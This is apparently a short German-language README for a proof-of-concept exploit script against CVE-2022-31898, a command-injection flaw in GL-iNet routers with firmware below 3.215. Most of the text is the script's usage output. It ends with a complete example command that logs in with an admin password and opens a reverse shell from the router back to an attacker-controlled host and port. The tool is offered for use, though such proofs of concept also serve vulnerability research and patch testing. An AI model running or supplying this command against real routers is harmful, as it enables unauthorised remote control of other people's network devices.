
Proof-of-concept-Exploit für CVE-2022-31898, eine Command-Injection-Schwachstelle in GL-iNet-Routern (Firmware < 3.215). Stellt eine Reverse Shell über HTTP/HTTPS mit konfigurierbarer Authentifizierung bereit.
Exploit-POC-Code für CVE-2022-31898, eine Befehlsinjektion für GL-iNet-Router mit Firmware unter 3.215
./cve-2022-31898.py -h
usage: cve-2022-31898.py [-h] -R RHOST [-P RPORT] -L LHOST [-l LPORT] [-p PWD] [-t]
options:
-h, --help show this help message and exit
-R RHOST, --rhost RHOST
IP/hostname of Mango router
-P RPORT, --rport RPORT
Port to connect to Mango router on
-L LHOST, --lhost LHOST
Local host/IP for reverse shell to connect back to
-l LPORT, --lport LPORT
Local port for reverse shell to connect back on
-p PWD, --pwd PWD Password to use to log in
-t, --https If set, use HTTPS
Exploite den GL-iNet-Router unter 192.168.8.1 über HTTPS und verbinde dich zurück zur lokalen Maschine unter
192.168.8.123:8008 mit dem Admin-Passwort password:
./cve-2022-31898.py -R 192.168.8.1 -P 443 -L 192.168.8.123 -l 8008 -p password -t